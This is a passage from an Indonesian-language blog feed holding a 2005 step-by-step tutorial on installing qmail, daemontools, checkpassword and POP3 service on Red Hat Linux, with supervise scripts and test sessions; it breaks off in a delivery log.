rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019886807437167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019886807437167'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/chroot-login-di-linux-dengan.html' title='Chroot login di Linux dengan menggunakan sshd'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019871231954217</id><published>2005-03-07T04:30:00.000-08:00</published><updated>2005-03-07T04:31:52.346-08:00</updated><title type='text'>Tutorial instalasi Qmail, Courier Imap, dan Squirrelmail</title><content type='html'>writer : Asfihani (asfik@cakraweb.com)&lt;br /&gt;&lt;br /&gt;Dokumen (tutorial) ini ditujukan untuk membantu membuat sebuah mailserver untuk satu domain, serta aplikasi pendukung pembacaan email melalui web (webmail) dengan menggunakan squirrelmail secara step-by-step dalam Bahasa Indonesia. Anda juga bisa melihat tulisan Jamaludin Ahmad tentang instalasi qmail di http://www.jamalinux.com/?open=writing=qmail. Sistem Operasi yang digunakan adalah Redhat Linux 7.3. Semua paket menggunakan format source tarball. Dokumen ini diketik menggunakan lyx dan dapat anda dapatkan dalam format PDF di http://people.cakraweb.com/~asfik/writings/qmail.pdf. Tidak ada copyright apapun dalam dukumen ini, anda bebas menyalin, mencetak, maupun memodifikasi (dengan menyertakan nama penulis asli). Saran, koreksi, kritik, kesalahan ketik, maupun ucapan silakan dikirimkan ke email tersebut diatas. Terima Kasih. &lt;br /&gt;&lt;br /&gt;"Untuk ibu saya tercinta, guru pertama saya "&lt;br /&gt;&lt;br /&gt;Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;1. Instalasi Qmail&lt;br /&gt;&lt;br /&gt;Sebelum memulai, silakan anda uninstall software mailserver (MTA) lain yang berada dalam server anda misalnya sendmail, dan silakan anda membuat sebuah direktori temporari untuk memudahkan penyimpanan source yang akan didownload, anda boleh membuat direktori dengan nama sembarang, disini saya membuat direktori dengan nama src :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# service sendmail stop&lt;br /&gt;[root@wedus asfik]# for a in `rpm -qa | grep sendmail`; do rpm -e --nodeps $a; done&lt;br /&gt;[root@wedus asfik]# mkdir src&lt;br /&gt;[root@wedus asfik]# cd src&lt;br /&gt;&lt;br /&gt;Download qmail dan paket pendukung yang lain (daemontools, ucspi-tcp) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://cr.yp.to/software/qmail-1.03.tar.gz &lt;br /&gt;[root@wedus src]# wget http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz &lt;br /&gt;[root@wedus src]# wget http://cr.yp.to/daemontools/daemontools-0.76.tar.gz &lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), silakan download patch untuk qmail dari miror lokal kesayangan anda misalnya dari ISP CBN :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://qmail.cbn.net.id/moni.csi.hu/pub/glibc-2.3.1/qmail-1.03.errno.patch &lt;br /&gt;[root@wedus src]# wget http://qmail.cbn.net.id/moni.csi.hu/pub/glibc-2.3.1/ucspi-tcp-0.88.errno.patch &lt;br /&gt;[root@wedus src]# wget http://qmail.cbn.net.id/moni.csi.hu/pub/glibc-2.3.1/daemontools-0.76.errno.patch&lt;br /&gt;&lt;br /&gt;Download qmailqueue-patch, yang berguna sebagai add-on qmail agar bisa menjalankan external program, misalnya jika dikemudian hari anda menginginkan software anti-virus, serta quotas-patch, yang berguna untuk membounce email jika suatu user sistem (user email) sudah melebihi quota sistem :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://www.qmail.org/qmailqueue-patch &lt;br /&gt;[root@wedus src]# wget http://www.qmail.org/qmail-1.03-quotas-1.1.patch &lt;br /&gt;&lt;br /&gt;Ekstrak semua source tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# tar -xzvf qmail-1.03.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf daemontools-0.76.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf ucspi-tcp-0.88.tar.gz &lt;br /&gt;&lt;br /&gt;Buat direktori untuk qmail dan pembuatan account user yang akan menjalankan dan mengurusi qmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# mkdir /var/qmail &lt;br /&gt;[root@wedus src]# groupadd nofiles &lt;br /&gt;[root@wedus src]# useradd -g nofiles -d /var/qmail/alias alias &lt;br /&gt;[root@wedus src]# useradd -g nofiles -d /var/qmail qmaild &lt;br /&gt;[root@wedus src]# useradd -g nofiles -d /var/qmail qmaill&lt;br /&gt;[root@wedus src]# useradd -g nofiles -d /var/qmail qmailp &lt;br /&gt;[root@wedus src]# groupadd qmail &lt;br /&gt;[root@wedus src]# useradd -g qmail -d /var/qmail qmailq &lt;br /&gt;[root@wedus src]# useradd -g qmail -d /var/qmail qmailr &lt;br /&gt;[root@wedus src]# useradd -g qmail -d /var/qmail qmails &lt;br /&gt;&lt;br /&gt;Kompilasi qmail, daemontools, tcpserver dan mengepatch qmail dengan beberapa patch tersebut diatas :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cd qmail-1.03&lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), patch qmail anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# patch -p1 &lt; ../qmail-1.03.errno.patch &lt;br /&gt;&lt;br /&gt;Jika diperlukan patch dengan queue patch dan quota patch :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# patch -p1 &lt; ../qmailqueue-patch&lt;br /&gt;[root@wedus qmail-1.03]# patch -p1 &lt; ../qmail-1.03-quotas-1.1.patch &lt;br /&gt;&lt;br /&gt;Kompile dan install qmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# make setup check&lt;br /&gt;&lt;br /&gt;Membuat file konfigurasi qmail, disini silakan anda ganti gibas.wedus.comdengan hostname anda yang FQDN (bisa diresolve), misalnya serverku.domain.com.Ingat, hostname tidak harus sama dengan nama server host tempat anda menginstall qmail tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# ./config-fast gibas.wedus.com&lt;br /&gt;&lt;br /&gt;Pada langkah yang penting ini kita akan menentukan nama domain yang akan diurusi/dihandle oleh qmail diserver ini, misalnya wedus.com. Masukkan nama domain tersebut ke file rcpthosts dan locals sehingga nantinya akan dianggap sebagai domain lokal dan bukan virtual oleh qmail, misalnya : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# echo wedus.com &gt;&gt; /var/qmail/control/locals&lt;br /&gt;[root@wedus qmail-1.03]# echo wedus.com &gt;&gt; /var/qmail/control/rcpthosts&lt;br /&gt;&lt;br /&gt;Install ucspi-tcp dan daemontools :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-1.03]# cd ../ucspi-tcp-0.88 &lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), patch ucspi-tcp anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus ucspi-tcp-0.88]# patch -p1 &lt; ../ucspi-tcp-0.88.errno.patch &lt;br /&gt;&lt;br /&gt;Kompile dan install ucspi-tcp :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus ucspi-tcp-0.88]# make setup check &lt;br /&gt;[root@wedus ucspi-tcp-0.88]# cd ../admin/daemontools-0.76/&lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), patch daemontools anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus daemontools-0.76]# patch -p1 &lt; ../../daemontools-0.76.errno.patch &lt;br /&gt;&lt;br /&gt;Kompil dan install daemontools :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus daemontools-0.76]# ./package/install&lt;br /&gt;&lt;br /&gt;Jika daemontools sukses terinstal, anda bisa mengecek dengan menggunakan perintah ps, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus daemontools-0.76]# ps ax | grep read &lt;br /&gt;6529 ? S 0:00 readproctitle service errors: .......................&lt;br /&gt;&lt;br /&gt;Saya kurang suka dengan struktur penempatan atau symlink file dan direktori pada daemontools dan (menurut saya lho) cenderung amburadul, jadi direktori /command saya hapus kemudian diganti dengan direktori command dari source daemontools :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus daemontools-0.76]# rm -rf /command/ &lt;br /&gt;[root@wedus daemontools-0.76]# mv command/ / &lt;br /&gt;&lt;br /&gt;Buat file startup untuk menjalankan qmail-send, dan mengganti defaultdelivery dari format Mailbox ke format Maildir :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# cp /var/qmail/boot/home /var/qmail/rc&lt;br /&gt;[root@wedus asfik]# perl -pi -e "s/Mailbox splogger qmail/Maildir\//g" /var/qmail/rc&lt;br /&gt;&lt;br /&gt;Jika perintah perl tersebut diatas ada kesalahan atau Linux ada tidak terinstall program perl (sulit dipercaya?), silakan secara manual anda mengganti pada file /var/qmail/rc dari baris ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;qmail-start ./Mailbox splogger qmail&lt;br /&gt;&lt;br /&gt;menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;qmail-start ./Maildir/&lt;br /&gt;&lt;br /&gt;Buat direktori untuk menyimpan file-file supervise :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# mkdir -p /var/qmail/supervise/qmail-send/log &lt;br /&gt;[root@wedus asfik]# mkdir -p /var/qmail/supervise/qmail-smtpd/log&lt;br /&gt;&lt;br /&gt;Buat file script supervise untuk menjalankan qmail-send :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-send/run &lt;br /&gt;&lt;br /&gt;Isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;exec /var/qmail/rc&lt;br /&gt;&lt;br /&gt;Buat file script supervise untuk menjalankan log qmail-send :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-send/log/run &lt;br /&gt;&lt;br /&gt;Isinnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t s1048576 /var/log/qmail&lt;br /&gt;&lt;br /&gt;Buat file script supervise untuk menjalankan qmail-smtpd :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-smtpd/run &lt;br /&gt;&lt;br /&gt;Isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;PATH=$PATH:/usr/local/bin:/var/qmail/bin &lt;br /&gt;export PATH&lt;br /&gt;QMAILDUID=`id -u qmaild` &lt;br /&gt;NOFILESGID=`id -g qmaild` &lt;br /&gt;MAXSMTPD=30 &lt;br /&gt;exec /usr/local/bin/softlimit -m 5000000 tcpserver -H -R -v -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" -u "$QMAILDUID" -g "$NOFILESGID" 0 25 qmail-smtpd 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;Variabel MAXSMTPD bisa anda sesuaikan dengan kondisi kebutuhan dan beban mailserver anda. Jika anda menginginkan penolakan terhadap email yang datang dari mailserver yang open relay yang biasanya merupakan SPAM, anda bisa menggunakan rblsmtpd menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;tcpserver -H -R -v -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" -u "$QMAILDUID" -g "$NOFILESGID" 0 25 rblsmtpd -r relays.ordb.org rblsmtpd -b qmail-smtpd 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;Jika anda menggunakan rblsmtpd, anda nanti bisa melihat lognya di /var/log/qmail/smtpd/current :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# tail -f /var/log/qmail/smtpd/current &lt;br /&gt;@400000003dbca93728ec47bc tcpserver: pid 11461 from 128.154.20.228&lt;br /&gt;@400000003dbca93804e39064 rblsmtpd: 128.154.20.228 pid 11461: 451 This mail was handled by an open relay - please visit &lt;http://ORDB.org/lookup/?host=128.154.20.228&gt; &lt;br /&gt;&lt;br /&gt;Buat file script supervise untuk menjalankan log qmail-smtpd :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-smtpd/log/run&lt;br /&gt;&lt;br /&gt;Isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t s1048576 /var/log/qmail/smtpd&lt;br /&gt;&lt;br /&gt;Ubah menjadi file-file yang bisa dieksekusi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-send/run&lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-send/log/run&lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-smtpd/run &lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-smtpd/log/run&lt;br /&gt;&lt;br /&gt;Buat direktori untuk log qmail-send dan qmail-smtpd :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# mkdir -p /var/log/qmail/smtpd &lt;br /&gt;[root@wedus asfik]# chown qmaill /var/log/qmail /var/log/qmail/smtpd&lt;br /&gt;&lt;br /&gt;Mengijinkan localhost untuk menggunakan smtp :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# echo '127.0.0.1:allow,RELAYCLIENT=""' &gt; /etc/tcp.smtp&lt;br /&gt;&lt;br /&gt;Mengatur IP/Network mana saja yang bisa menggunakan smtp server anda, jika misalnya anda menginginkan komputer di jaringan intranet anda dengan IP 10.126.10.11 bisa menggunakan smtp anda, maka :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# echo '10.126.10.11:allow,RELAYCLIENT=""' &gt;&gt; /etc/tcp.smtp&lt;br /&gt;&lt;br /&gt;Atau jika anda mengijinkan seluruh network anda, misalnya 10.126.10.0/24 maka : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# echo '10.126.10.:allow,RELAYCLIENT=""' &gt;&gt; /etc/tcp.smtp&lt;br /&gt;&lt;br /&gt;Jangan lupa, setiap selesai penambahan untuk selalu membuat database baru dengan : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp &lt; /etc/tcp.smtp&lt;br /&gt;&lt;br /&gt;Akhirnya kita masukkan script yang kita buat kedalam servis supervise :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# ln -s /var/qmail/supervise/qmail-send /var/qmail/supervise/qmail-smtpd /service &lt;br /&gt;&lt;br /&gt;Untuk mengecek apakah supervise sudah menjalankan tugasnya dengan benar bisa digunakan perintah ps, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# ps ax | grep qmail  &lt;br /&gt;6636 ?        S      0:00 supervise qmail-send  &lt;br /&gt;6638 ?        S      0:00 supervise qmail-smtpd  &lt;br /&gt;6640 ?        S      0:00 qmail-send  &lt;br /&gt;6641 ?        S      0:00 /usr/local/bin/multilog t s1048576 /var/log/qmail  &lt;br /&gt;6643 ?        S      0:00 /usr/local/bin/multilog t s1048576 /var/log/qmail/smt  &lt;br /&gt;6644 ?        S      0:00 qmail-lspawn ./Maildir/  &lt;br /&gt;6646 ?        S      0:00 qmail-rspawn  &lt;br /&gt;6647 ?        S      0:00 qmail-clean&lt;br /&gt;&lt;br /&gt;Untuk sekedar memastikan, anda juga bisa telnet ke localhost port 25 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# telnet localhost 25 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;220 gibas.wedus.com ESMTP &lt;br /&gt;&lt;br /&gt;Jika sampai langkah ini, anda belum sukses atau menemui error, coba periksa sekali lagi apakah penulisan script anda sudah betul dan tidak kurang, atau apakah ada langkah/perintah yang anda lewatkan. Anda juga bisa melihat kemungkinan pesan kesalahan/error pada file log /var/log/qmail/current atau /var/log/qmail/smtpd/current atau bisa juga pada proses readproctile, misalnya, dalam kondisi normal:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# ps ax | grep read &lt;br /&gt;673 ? S 0:00 readproctitle service errors: ....................... &lt;br /&gt;&lt;br /&gt;Jika ada sesuatu error/kesalahan pada servise supervise, misalnya jika sebuah command `id` tidak diketemukan karena kesalahan environment $PATH:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# ps ax | grep read &lt;br /&gt;673 ? S 0:00 readproctitle service errors: .......?\id...?\command..\?not...found&lt;br /&gt;&lt;br /&gt;PENTING. Untuk menerima email bounce ke postmaster silakan anda buat minimal tiga buah email sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cd ~alias/ &lt;br /&gt;[root@wedus alias]# echo paijo@wedus.com &gt; .qmail-root &lt;br /&gt;[root@wedus alias]# echo paijo@wedus.com &gt; .qmail-postmaster&lt;br /&gt;[root@wedus alias]# echo paijo@wedus.com &gt; .qmail-mailer-daemon &lt;br /&gt;&lt;br /&gt;Ganti paijo@wedus.com dengan email yang bertanggung jawab terhadap server email tersebut (anda?)&lt;br /&gt;&lt;br /&gt;Donwload paket checkpassword, yang akan digunakan sebagai module authentikasi menggunakan protokol pop3 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://cr.yp.to/checkpwd/checkpassword-0.90.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf checkpassword-0.90.tar.gz&lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), silakan download patch checkpassword :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://qmail.cbn.net.id/moni.csi.hu/pub/glibc-2.3.1/checkpassword-0.90.errno.patch&lt;br /&gt;&lt;br /&gt;Pindah ke direktori source checkpassword :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cd checkpassword-0.90 &lt;br /&gt;&lt;br /&gt;Perhatian : Jika anda menggunakan glibc versi 2.3 keatas (misalnya Redhat 9), silakan patch checkpassword anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus checkpassword-0.90]# patch -p1 &lt; ../checkpassword-0.90.errno.patch&lt;br /&gt;&lt;br /&gt;Kompile dan install checkpassword :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus checkpassword-0.90]# make setup check &lt;br /&gt;&lt;br /&gt;Buat direktori dan file script supervise untuk menjalankan qmail-pop3d (pop server) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# mkdir -p /var/qmail/supervise/qmail-pop3d &lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-pop3d/run &lt;br /&gt;&lt;br /&gt;Isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;PATH=$PATH:/usr/local/bin:/var/qmail/bin &lt;br /&gt;export PATH &lt;br /&gt;MAXPOP3D=30 &lt;br /&gt;exec /usr/local/bin/softlimit -m 5000000 \ &lt;br /&gt;tcpserver -H -v -c "$MAXPOP3D" 0 110 qmail-popup gibas.wedus.com checkpassword qmail-pop3d Maildir/ 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;Silakan anda sesuaikan variabel MAXPOP3D dan hostname gibas.wedus.comdengan konfigurasi yang sesuai dengan kondisi mail server anda.&lt;br /&gt;&lt;br /&gt;Buat file script supervise untuk menjalankan log qmail-pop3d :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# mkdir -p /var/qmail/supervise/qmail-pop3d/log &lt;br /&gt;[root@wedus asfik]# vi /var/qmail/supervise/qmail-pop3d/log/run&lt;br /&gt;&lt;br /&gt;Isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh &lt;br /&gt;exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t s1048576 /var/log/qmail/pop3d&lt;br /&gt;&lt;br /&gt;Buat direktori log qmail-pop3d serta mengeset file script tersebut menjadi executable :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# mkdir /var/log/qmail/pop3d&lt;br /&gt;[root@wedus asfik]# chown qmaill /var/log/qmail/pop3d&lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-pop3d/run &lt;br /&gt;[root@wedus asfik]# chmod 755 /var/qmail/supervise/qmail-pop3d/log/run&lt;br /&gt;&lt;br /&gt;Akhirnya kita masukkan script supervise qmail-pop3d kedalam /service :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# ln -s /var/qmail/supervise/qmail-pop3d /service &lt;br /&gt;&lt;br /&gt;Untuk memeriksa apakah servise pop3 server sudah bekerja :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# ps ax | grep tcpserver  &lt;br /&gt;1057 ?        S      0:00 tcpserver -H -R -v -x /etc/tcp.smtp.cdb -c 30 -u 503&lt;br /&gt;1061 ?        S      0:00 tcpserver -H -v -c 30 0 110 qmail-popup gibas.wedus.com&lt;br /&gt;&lt;br /&gt;Untuk sekedar memastikan, anda bisa mencoba telnet ke localhost port 110 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# telnet localhost 110 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;+OK &lt;5724.1035514277@gibas.wedus.com&gt;&lt;br /&gt;&lt;br /&gt;Download script untuk menjalankan qmail, anda bisa download di http://www.lifewithqmail.org/qmailctl-script-dt70 namun anda harus menambahkan untuk start/stop daemon pop3d nya, atau alternatif lain script yang sudah ditambah start/stop daemon pop3d di http://people.cakraweb.com/~asfik/qmailctl :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://people.cakraweb.com/~asfik/qmailctl&lt;br /&gt;[root@wedus src]# mv qmailctl /var/qmail/bin/qmailctl &lt;br /&gt;[root@wedus src]# chmod 755 /var/qmail/bin/qmailctl&lt;br /&gt;[root@wedus src]# ln -s /var/qmail/bin/qmailctl /usr/bin&lt;br /&gt;&lt;br /&gt;Jika anda tidak memakai Redhat based style, anda bisa langsung ke Start-Stop qmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# ln -s /var/qmail/bin/qmailctl /etc/rc.d/init.d/qmail &lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc0.d/K30qmail&lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc1.d/K30qmail &lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc2.d/S80qmail &lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc3.d/S80qmail &lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc4.d/S80qmail &lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc5.d/S80qmail&lt;br /&gt;[root@wedus src]# ln -s /etc/rc.d/init.d/qmail/qmail /etc/rc.d/rc6.d/K30qmail &lt;br /&gt;&lt;br /&gt;Untuk Start-Stop qmail anda bisa lakukan perintah berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# qmailctl stop &lt;br /&gt;Stopping qmail...   &lt;br /&gt;qmail-smtpd  &lt;br /&gt;qmail-send  &lt;br /&gt;qmail-pop3d &lt;br /&gt;[root@wedus src]# qmailctl start &lt;br /&gt;Starting qmail &lt;br /&gt;&lt;br /&gt;Atau dengan gaya klasik koboi Redhat :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# service qmail stop&lt;br /&gt;Stopping qmail...   &lt;br /&gt;qmail-smtpd   &lt;br /&gt;qmail-send   &lt;br /&gt;qmail-pop3d &lt;br /&gt;[root@wedus src]# service qmail start &lt;br /&gt;Starting qmail &lt;br /&gt;&lt;br /&gt;Kadang kita butuh akses ke wrapper sendmail (misalnya script cgi) atau mua yang menggunakan wrapper sendmail (mutt, pine dll), jadi kita lakukan symlink ke binari qmail untuk wrapper sendmail :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# ln -s /var/qmail/bin/sendmail /usr/sbin/sendmail &lt;br /&gt;[root@wedus src]# ln -s /var/qmail/bin/sendmail /usr/bin/sendmail&lt;br /&gt;Penambahan user account email&lt;br /&gt;&lt;br /&gt;Pada intinya karena hanya mengurusi satu domain, maka setiap anda menambah satu buah account email, maka yang anda lakukan adalah sama dengan menambah satu buah account pada system Linux anda. Dan ini (amat) sangat berisiko, titik terlemah berada pada password user anda. Anda bisa mengatasinya dengan menggunakan alternatif program cek password yang yang lain yang tentunya tidak akan membaca password di /etc/passwd, atau menggunakan virtualdomain, tapi hanya anda set untuk mengurusi atau menerima email ke satu domain saja. Anyway, mari kita coba menambahkan email pada domain yang telah kita buat, misalnya account email paijo@wedus.com. Karena user paijo ini kita set hanya untuk menerima email, kita tidak akan memberi akses ssh/telnet/ftp/whatever kepada paijo untuk mengurangi resiko :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# adduser -s /bin/false paijo &lt;br /&gt;[root@wedus asfik]# passwd paijo &lt;br /&gt;Changing password for user paijo. &lt;br /&gt;New password: &lt;br /&gt;Retype new password: &lt;br /&gt;passwd: all authentication tokens updated successfully.&lt;br /&gt;&lt;br /&gt;Buat direktori untuk menyimpan email untuk user paijo :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@core asfik]# /var/qmail/bin/maildirmake ~paijo/Maildir &lt;br /&gt;[root@core asfik]# chown -R paijo.paijo ~paijo/Maildir &lt;br /&gt;&lt;br /&gt;Beritahu kepada qmail untuk mengantarkan email ke direktori Maildir dihomedirektori user paijo :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# echo "./Maildir/" &gt; ~paijo/.qmail &lt;br /&gt;[root@wedus asfik]# chown paijo.paijo ~paijo/.qmail &lt;br /&gt;&lt;br /&gt;Supaya anda tidak repot-repot lagi membuat file .qmail dan direktori Maildir setiap penambahan user baru : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# echo "./Maildir/" &gt; /etc/skel/.qmail &lt;br /&gt;[root@wedus asfik]# maildirmake /etc/skel/Maildir &lt;br /&gt;&lt;br /&gt;Sehingga setiap nanti anda menambah user baru (adduser), otomatis file dan direktori tersebut diatas akan terbuat, sekarang kita mencoba mengirim email ke user paijo@wedus.com , anda boleh saja mencoba mengirim dengan menggunakan MUA seperti Eudora, pine, mutt atau yang lain, kita coba memakai old-fashioned-way, telnet port 25 di localhost :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# telnet localhost 25 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;220 gibas.wedus.com ESMTP &lt;br /&gt;mail from : Asfihani &lt;asfik@kadal.edu&gt; &lt;br /&gt;250 ok &lt;br /&gt;rcpt to: paijo@wedus.com &lt;br /&gt;250 ok &lt;br /&gt;data &lt;br /&gt;354 go ahead &lt;br /&gt;Subject: Ini mengetest saja lho :)&lt;br /&gt;ini budi &lt;br /&gt;. &lt;br /&gt;250 ok 1036218269 qp 917 &lt;br /&gt;quit &lt;br /&gt;221 gibas.wedus.com &lt;br /&gt;Connection closed by foreign host. &lt;br /&gt;&lt;br /&gt;Jika anda lihat pada file /var/log/qmail/current akan ada log yang menujukkan email telah diterima dengan selamat :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus asfik]# tail -f /var/log/qmail/current&lt;br /&gt;@400000003dc36fa70e90532c new msg 224669 &lt;br /&gt;@400000003dc36fa70e906e84 info msg 224669: bytes 202 from &lt;asfik@kadal.edu&gt; qp 917 uid 503 @400000003dc36fa70ebda8a4 starting delivery 1: msg 224669 to local paijo@wedus.com @400000003dc36fa70ebf526c status: local 1/10 remote 